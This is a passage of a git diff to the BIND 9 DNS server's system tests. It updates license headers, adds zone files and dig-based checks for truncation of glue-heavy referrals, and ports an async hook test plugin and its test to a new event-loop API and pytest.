-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/glue/ns1/root-servers.nil.db b/bin/tests/system/glue/ns1/root-servers.nil.db
index e40f392d10..1475aed3be 100644
--- a/bin/tests/system/glue/ns1/root-servers.nil.db
+++ b/bin/tests/system/glue/ns1/root-servers.nil.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/glue/ns1/root.db b/bin/tests/system/glue/ns1/root.db
index af31bd48b4..debdf01eea 100644
--- a/bin/tests/system/glue/ns1/root.db
+++ b/bin/tests/system/glue/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/glue/ns1/sign.sh b/bin/tests/system/glue/ns1/sign.sh
new file mode 100644
index 0000000000..64250065e6
--- /dev/null
+++ b/bin/tests/system/glue/ns1/sign.sh
@@ -0,0 +1,27 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../../conf.sh
+
+zone=tc-test-signed
+infile=tc-test-signed.db.in
+zonefile=tc-test-signed.db
+
+# The signing algorithm and key sizes used here are NOT arbitrary - they have
+# been carefully chosen to ensure that the signed referral response checked in
+# the test will be around 512 bytes in size with glue records excluded.  Please
+# keep this in mind when updating signing algorithms used in system tests.
+keyname=$($KEYGEN -q -a RSASHA256 -b 2048 -n zone $zone)
+cat "$infile" "$keyname.key" > "$zonefile"
+
+$SIGNER -P -o $zone $zonefile > /dev/null
diff --git a/bin/tests/system/glue/ns1/tc-test-signed.db.in b/bin/tests/system/glue/ns1/tc-test-signed.db.in
new file mode 100644
index 0000000000..5c0181dc3a
--- /dev/null
+++ b/bin/tests/system/glue/ns1/tc-test-signed.db.in
@@ -0,0 +1,55 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; CAUTION: Contents of this zone were carefully crafted so that the responses
+; to the queries used in the "glue" system test have a very specific size.
+; Editing this zone is not recommended as it may break the relevant checks.
+
+$TTL 300
+@				IN SOA	ns hostmaster (
+					1
+					3600
+					1800
+					1814400
+					3600
+					)
+				NS	a
+a				A	10.53.0.1
+
+subdomain-a			NS	0123456789.subdomain-a
+				NS	0123456.subdomain-a
+				NS	0123.subdomain-a
+
+0123456789.subdomain-a		A	10.53.0.1
+0123456.subdomain-a		A	10.53.0.1
+0123.subdomain-a		A	10.53.0.1
+
+subdomain-aaaa			NS	0123456789.subdomain-aaaa
+				NS	0123456.subdomain-aaaa
+				NS	0123.subdomain-aaaa
+
+0123456789.subdomain-aaaa	AAAA	fd92:7065:b8e:ffff::1
+0123456.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+0123.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+
+subdomain-both			NS	0123456789.subdomain-both
+				NS	0123456.subdomain-both
+				NS	0123.subdomain-both
+				NS	0.subdomain-both
+
+0123456789.subdomain-both	A	10.53.0.1
+				AAAA	fd92:7065:b8e:ffff::1
+0123456.subdomain-both		A	10.53.0.1
+				AAAA	fd92:7065:b8e:ffff::1
+0123.subdomain-both		A	10.53.0.1
+				AAAA	fd92:7065:b8e:ffff::1
+0.subdomain-both		A	10.53.0.1
+				AAAA	fd92:7065:b8e:ffff::1
diff --git a/bin/tests/system/glue/ns1/tc-test-unsigned.db b/bin/tests/system/glue/ns1/tc-test-unsigned.db
new file mode 100644
index 0000000000..de326c0acc
--- /dev/null
+++ b/bin/tests/system/glue/ns1/tc-test-unsigned.db
@@ -0,0 +1,112 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; CAUTION: Contents of this zone were carefully crafted so that the responses
+; to the queries used in the "glue" system test have a very specific size.
+; Editing this zone is not recommended as it may break the relevant checks.
+
+$TTL 300
+@			IN SOA	ns hostmaster (
+				1
+				3600
+				1800
+				1814400
+				3600
+				)
+			NS	a
+a			A	10.53.0.1
+
+subdomain-a		NS	abcdefghijklmnopqrstuvwxyz.subdomain-a
+			NS	bcdefghijklmnopqrstuvwxyz.subdomain-a
+			NS	cdefghijklmnopqrstuvwxyz.subdomain-a
+			NS	defghijklmnopqrstuvwxyz.subdomain-a
+			NS	efghijklmnopqrstuvwxyz.subdomain-a
+			NS	fghijklmnopqrstuvwxyz.subdomain-a
+			NS	ghijklmnopqrstuvwxyz.subdomain-a
+			NS	hijklmnopqrstuvwxyz.subdomain-a
+			NS	ijklmnopqrstuvwxyz.subdomain-a
+			NS	jklmnopqrstuvwxyz.subdomain-a
+			NS	klmnopqrstuvwxyz.subdomain-a
+			NS	lmnopqrstuvwxyz.subdomain-a
+			NS	mnopqrstuvwxyz.subdomain-a
+
+abcdefghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+bcdefghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+cdefghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+defghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+efghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+fghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+ghijklmnopqrstuvwxyz.subdomain-a		A	10.53.0.1
+hijklmnopqrstuvwxyz.subdomain-a			A	10.53.0.1
+ijklmnopqrstuvwxyz.subdomain-a			A	10.53.0.1
+jklmnopqrstuvwxyz.subdomain-a			A	10.53.0.1
+klmnopqrstuvwxyz.subdomain-a			A	10.53.0.1
+lmnopqrstuvwxyz.subdomain-a			A	10.53.0.1
+mnopqrstuvwxyz.subdomain-a			A	10.53.0.1
+
+subdomain-aaaa		NS	abcdefghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	bcdefghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	cdefghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	defghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	efghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	fghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	ghijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	hijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	ijklmnopqrstuvwxyz.subdomain-aaaa
+			NS	jklmnopqrstuvwxyz.subdomain-aaaa
+			NS	klmnopqrstuvwxyz.subdomain-aaaa
+			NS	lmnopqrstuvwxyz.subdomain-aaaa
+			NS	mnopqrstuvwxyz.subdomain-aaaa
+
+abcdefghijklmnopqrstuvwxyz.subdomain-aaaa	AAAA	fd92:7065:b8e:ffff::1
+bcdefghijklmnopqrstuvwxyz.subdomain-aaaa	AAAA	fd92:7065:b8e:ffff::1
+cdefghijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+defghijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+efghijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+fghijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+ghijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+hijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+ijklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+jklmnopqrstuvwxyz.subdomain-aaaa		AAAA	fd92:7065:b8e:ffff::1
+klmnopqrstuvwxyz.subdomain-aaaa			AAAA	fd92:7065:b8e:ffff::1
+lmnopqrstuvwxyz.subdomain-aaaa			AAAA	fd92:7065:b8e:ffff::1
+mnopqrstuvwxyz.subdomain-aaaa			AAAA	fd92:7065:b8e:ffff::1
+
+subdomain-both		NS	abcdefghijklmnopqrstuvwxyz.subdomain-both
+			NS	bcdefghijklmnopqrstuvwxyz.subdomain-both
+			NS	cdefghijklmnopqrstuvwxyz.subdomain-both
+			NS	defghijklmnopqrstuvwxyz.subdomain-both
+			NS	efghijklmnopqrstuvwxyz.subdomain-both
+			NS	fghijklmnopqrstuvwxyz.subdomain-both
+			NS	ghijklmnopqrstuvwxyz.subdomain-both
+			NS	hijklmnopqrstuvwxyz.subdomain-both
+			NS	ijklmnopqrstuvwxyz.subdomain-both
+			NS	jklmnopqrstuvwxyz.subdomain-both
+			NS	klmnopqrstuvwxyz.subdomain-both
+			NS	lmnopqrstuvwxyz.subdomain-both
+			NS	mnopqrstuvwxyz.subdomain-both
+
+abcdefghijklmnopqrstuvwxyz.subdomain-both	A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+bcdefghijklmnopqrstuvwxyz.subdomain-both	A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+cdefghijklmnopqrstuvwxyz.subdomain-both		A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+defghijklmnopqrstuvwxyz.subdomain-both		A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+efghijklmnopqrstuvwxyz.subdomain-both		A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+fghijklmnopqrstuvwxyz.subdomain-both		A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+ghijklmnopqrstuvwxyz.subdomain-both		A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
+hijklmnopqrstuvwxyz.subdomain-both		A	10.53.0.1
+						AAAA	fd92:7065:b8e:ffff::1
diff --git a/bin/tests/system/glue/setup.sh b/bin/tests/system/glue/setup.sh
index 110e0e3446..1cac6e7efc 100644
--- a/bin/tests/system/glue/setup.sh
+++ b/bin/tests/system/glue/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,3 +14,5 @@
 . ../conf.sh
 
 copy_setports ns1/named.conf.in ns1/named.conf
+
+( cd ns1 && $SHELL sign.sh )
diff --git a/bin/tests/system/glue/tests.sh b/bin/tests/system/glue/tests.sh
index 083cce1839..49983fbfdb 100644
--- a/bin/tests/system/glue/tests.sh
+++ b/bin/tests/system/glue/tests.sh
@@ -1,31 +1,90 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-. ../conf.sh
+set -e
 
-#
-# Do glue tests.
-#
+. ../conf.sh
 
-DIGOPTS="+norec -p ${PORT}"
+dig_with_opts() {
+	"$DIG" +norec -p "${PORT}" "$@"
+}
 
 status=0
+n=0
+
+n=$((n+1))
+echo_i "testing that a ccTLD referral gets a full glue set from the root zone ($n)"
+ret=0
+dig_with_opts @10.53.0.1 foo.bar.fi. A > dig.out.$n || ret=1
+digcomp --lc fi.good dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing that we don't find out-of-zone glue ($n)"
+ret=0
+dig_with_opts @10.53.0.1 example.net. A > dig.out.$n || ret=1
+digcomp noglue.good dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing truncation for unsigned referrals close to UDP packet size limit (A glue) ($n)"
+ret=0
+dig_with_opts @10.53.0.1 +ignore +noedns foo.subdomain-a.tc-test-unsigned. > dig.out.$n || ret=1
+grep -q "flags:[^;]* tc" dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing truncation for unsigned referrals close to UDP packet size limit (AAAA glue) ($n)"
+ret=0
+dig_with_opts @10.53.0.1 +ignore +noedns foo.subdomain-aaaa.tc-test-unsigned. > dig.out.$n || ret=1
+grep -q "flags:[^;]* tc" dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing truncation for unsigned referrals close to UDP packet size limit (A+AAAA glue) ($n)"
+ret=0
+dig_with_opts @10.53.0.1 +ignore +noedns foo.subdomain-both.tc-test-unsigned. > dig.out.$n || ret=1
+grep -q "flags:[^;]* tc" dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing truncation for signed referrals close to UDP packet size limit (A glue) ($n)"
+ret=0
+dig_with_opts @10.53.0.1 +ignore +dnssec +bufsize=512 foo.subdomain-a.tc-test-signed. > dig.out.$n || ret=1
+grep -q "flags:[^;]* tc" dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-echo_i "testing that a ccTLD referral gets a full glue set from the root zone"
-$DIG $DIGOPTS @10.53.0.1 foo.bar.fi. A >dig.out || status=1
-digcomp --lc fi.good dig.out || status=1
+n=$((n+1))
+echo_i "testing truncation for signed referrals close to UDP packet size limit (AAAA glue) ($n)"
+ret=0
+dig_with_opts @10.53.0.1 +ignore +dnssec +bufsize=512 foo.subdomain-aaaa.tc-test-signed. > dig.out.$n || ret=1
+grep -q "flags:[^;]* tc" dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-echo_i "testing that we don't find out-of-zone glue"
-$DIG $DIGOPTS @10.53.0.1 example.net. a > dig.out || status=1
-digcomp noglue.good dig.out || status=1
+n=$((n+1))
+echo_i "testing truncation for signed referrals close to UDP packet size limit (A+AAAA glue) ($n)"
+ret=0
+dig_with_opts @10.53.0.1 +ignore +dnssec +bufsize=512 foo.subdomain-both.tc-test-signed. > dig.out.$n || ret=1
+grep -q "flags:[^;]* tc" dig.out.$n || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/glue/tests_sh_glue.py b/bin/tests/system/glue/tests_sh_glue.py
new file mode 100644
index 0000000000..4f3ff04afc
--- /dev/null
+++ b/bin/tests/system/glue/tests_sh_glue.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_glue(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/hooks/clean.sh b/bin/tests/system/hooks/clean.sh
index 271efd68f9..83463ebdd4 100644
--- a/bin/tests/system/hooks/clean.sh
+++ b/bin/tests/system/hooks/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/hooks/driver/Makefile.am b/bin/tests/system/hooks/driver/Makefile.am
index ffa074a27c..b0c4b799c4 100644
--- a/bin/tests/system/hooks/driver/Makefile.am
+++ b/bin/tests/system/hooks/driver/Makefile.am
@@ -6,7 +6,7 @@ AM_CPPFLAGS +=			\
 	$(LIBNS_CFLAGS)		\
 	$(LIBISCCFG_CFLAGS)
 
-check_LTLIBRARIES = test-async.la
+noinst_LTLIBRARIES = test-async.la
 
 test_async_la_SOURCES = test-async.c
 test_async_la_LDFLAGS = -avoid-version -module -shared -export-dynamic -rpath $(abs_builddir)
diff --git a/bin/tests/system/hooks/driver/test-async.c b/bin/tests/system/hooks/driver/test-async.c
index f1669e9fe9..7f6022c68c 100644
--- a/bin/tests/system/hooks/driver/test-async.c
+++ b/bin/tests/system/hooks/driver/test-async.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,10 +19,10 @@
 #include <stdbool.h>
 #include <string.h>
 
+#include <isc/async.h>
 #include <isc/buffer.h>
 #include <isc/hash.h>
 #include <isc/ht.h>
-#include <isc/lib.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
@@ -28,10 +30,7 @@
 #include <isc/types.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
-
 #include <ns/client.h>
-#include <ns/events.h>
 #include <ns/hooks.h>
 #include <ns/log.h>
 #include <ns/query.h>
@@ -53,7 +52,6 @@
 typedef struct async_instance {
 	ns_plugin_t *module;
 	isc_mem_t *mctx;
-	isc_mempool_t *datapool;
 	isc_ht_t *ht;
 	isc_mutex_t hlock;
 	isc_log_t *lctx;
@@ -61,7 +59,7 @@ typedef struct async_instance {
 
 typedef struct state {
 	bool async;
-	ns_hook_resevent_t *rev;
+	ns_hook_resume_t *rev;
 	ns_hookpoint_t hookpoint;
 	isc_result_t origresult;
 } state_t;
@@ -131,7 +129,6 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 		unsigned long cfg_line, isc_mem_t *mctx, isc_log_t *lctx,
 		void *actx, ns_hooktable_t *hooktable, void **instp) {
 	async_instance_t *inst = NULL;
-	isc_result_t result;
 
 	UNUSED(parameters);
 	UNUSED(cfg);
@@ -146,8 +143,7 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 	*inst = (async_instance_t){ .mctx = NULL };
 	isc_mem_attach(mctx, &inst->mctx);
 
-	isc_mempool_create(mctx, sizeof(state_t), &inst->datapool);
-	CHECK(isc_ht_init(&inst->ht, mctx, 16));
+	isc_ht_init(&inst->ht, mctx, 1, ISC_HT_CASE_SENSITIVE);
 	isc_mutex_init(&inst->hlock);
 
 	/*
@@ -158,13 +154,6 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 	*instp = inst;
 
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (result != ISC_R_SUCCESS) {
-		plugin_destroy((void **)&inst);
-	}
-
-	return (result);
 }
 
 isc_result_t
@@ -194,9 +183,6 @@ plugin_destroy(void **instp) {
 		isc_ht_destroy(&inst->ht);
 		isc_mutex_destroy(&inst->hlock);
 	}
-	if (inst->datapool != NULL) {
-		isc_mempool_destroy(&inst->datapool);
-	}
 
 	isc_mem_putanddetach(&inst->mctx, inst, sizeof(*inst));
 	*instp = NULL;
@@ -230,10 +216,8 @@ client_state_create(const query_ctx_t *qctx, async_instance_t *inst) {
 	state_t *state = NULL;
 	isc_result_t result;
 
-	state = isc_mempool_get(inst->datapool);
-	if (state == NULL) {
-		return;
-	}
+	state = isc_mem_get(inst->mctx, sizeof(*state));
+	*state = (state_t){ .async = false };
 
 	LOCK(&inst->hlock);
 	result = isc_ht_add(inst->ht, (const unsigned char *)&qctx->client,
@@ -257,7 +241,7 @@ client_state_destroy(const query_ctx_t *qctx, async_instance_t *inst) {
 	UNLOCK(&inst->hlock);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-	isc_mempool_put(inst->datapool, state);
+	isc_mem_put(inst->mctx, state, sizeof(*state));
 }
 
 static ns_hookresult_t
@@ -293,29 +277,31 @@ destroyasync(ns_hookasync_t **ctxp) {
 }
 
 static isc_result_t
-doasync(query_ctx_t *qctx, isc_mem_t *mctx, void *arg, isc_task_t *task,
-	isc_taskaction_t action, void *evarg, ns_hookasync_t **ctxp) {
-	ns_hook_resevent_t *rev = (ns_hook_resevent_t *)isc_event_allocate(
-		mctx, task, NS_EVENT_HOOKASYNCDONE, action, evarg,
-		sizeof(*rev));
+doasync(query_ctx_t *qctx, isc_mem_t *mctx, void *arg, isc_loop_t *loop,
+	isc_job_cb cb, void *evarg, ns_hookasync_t **ctxp) {
+	ns_hook_resume_t *rev = isc_mem_get(mctx, sizeof(*rev));
 	ns_hookasync_t *ctx = isc_mem_get(mctx, sizeof(*ctx));
 	state_t *state = (state_t *)arg;
 
 	logmsg("doasync");
-	*ctx = (ns_hookasync_t){ .mctx = NULL };
+	*ctx = (ns_hookasync_t){
+		.cancel = cancelasync,
+		.destroy = destroyasync,
+	};
 	isc_mem_attach(mctx, &ctx->mctx);
-	ctx->cancel = cancelasync;
-	ctx->destroy = destroyasync;
 
-	rev->hookpoint = state->hookpoint;
-	rev->origresult = state->origresult;
 	qctx->result = DNS_R_NOTIMP;
-	rev->saved_qctx = qctx;
-	rev->ctx = ctx;
+	*rev = (ns_hook_resume_t){
+		.hookpoint = state->hookpoint,
+		.origresult = qctx->result,
+		.saved_qctx = qctx,
+		.ctx = ctx,
+		.arg = evarg,
+	};
 
 	state->rev = rev;
 
-	isc_task_send(task, (isc_event_t **)&rev);
+	isc_async_run(loop, cb, rev);
 
 	*ctxp = ctx;
 	return (ISC_R_SUCCESS);
diff --git a/bin/tests/system/hooks/ns1/example.db b/bin/tests/system/hooks/ns1/example.db
index ab0218c020..1d7173fea3 100644
--- a/bin/tests/system/hooks/ns1/example.db
+++ b/bin/tests/system/hooks/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/hooks/ns1/named.conf.in b/bin/tests/system/hooks/ns1/named.conf.in
index 6696675ccd..956bf41ef4 100644
--- a/bin/tests/system/hooks/ns1/named.conf.in
+++ b/bin/tests/system/hooks/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ plugin query "../driver/.libs/test-async.so";
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/hooks/setup.sh b/bin/tests/system/hooks/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/hooks/setup.sh
+++ b/bin/tests/system/hooks/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/hooks/tests.sh b/bin/tests/system/hooks/tests.sh
deleted file mode 100644
index 284980c5bb..0000000000
--- a/bin/tests/system/hooks/tests.sh
+++ /dev/null
@@ -1,34 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-status=0
-n=0
-
-rm -f dig.out.*
-
-DIGOPTS="+tcp +noadd +nosea +nostat +nocmd -p ${PORT}"
-RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
-
-n=$((n+1))
-echo_i "checking asynchronous hook action resumes correctly ($n)"
-ret=0
-$DIG $DIGOPTS example.com @10.53.0.1 > dig.out.ns1.test$n || ret=1
-# the test-async plugin changes the status of any postiive answer to NOTIMP
-grep -q "status: NOTIMP" dig.out.ns1.test$n || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status + ret))
-
-
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/hooks/tests_async_plugin.py b/bin/tests/system/hooks/tests_async_plugin.py
new file mode 100644
index 0000000000..2f42e27379
--- /dev/null
+++ b/bin/tests/system/hooks/tests_async_plugin.py
@@ -0,0 +1,27 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.query
+import dns.rcode
+
+
+def test_async_hook(named_port):
+    msg = dns.message.make_query(
+        "example.com.",
+        "A",
+    )
+    ans = dns.query.udp(msg, "10.53.0.1", timeout=10, port=named_port)
+    # the test-async plugin changes the status of any positive answer to NOTIMP
+    assert ans.rcode() == dns.rcode.NOTIMP
diff --git a/bin/tests/system/host/clean.sh b/bin/tests/system/host/clean.sh
new file mode 100644
index 0000000000..b03c4594cc
--- /dev/null
+++ b/bin/tests/system/host/clean.sh
@@ -0,0 +1,21 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+rm -f ns1/example.db
+rm -f host.out*
+rm -f host.err*
+rm -f ns*/named.lock
+rm -f ns*/named.memstats
+rm -f ns*/named.run
+rm -f ns*/named.conf
+rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/host/ns1/example.net.db b/bin/tests/system/host/ns1/example.net.db
new file mode 100644
index 0000000000..73aeeb1e34
--- /dev/null
+++ b/bin/tests/system/host/ns1/example.net.db
@@ -0,0 +1,31 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
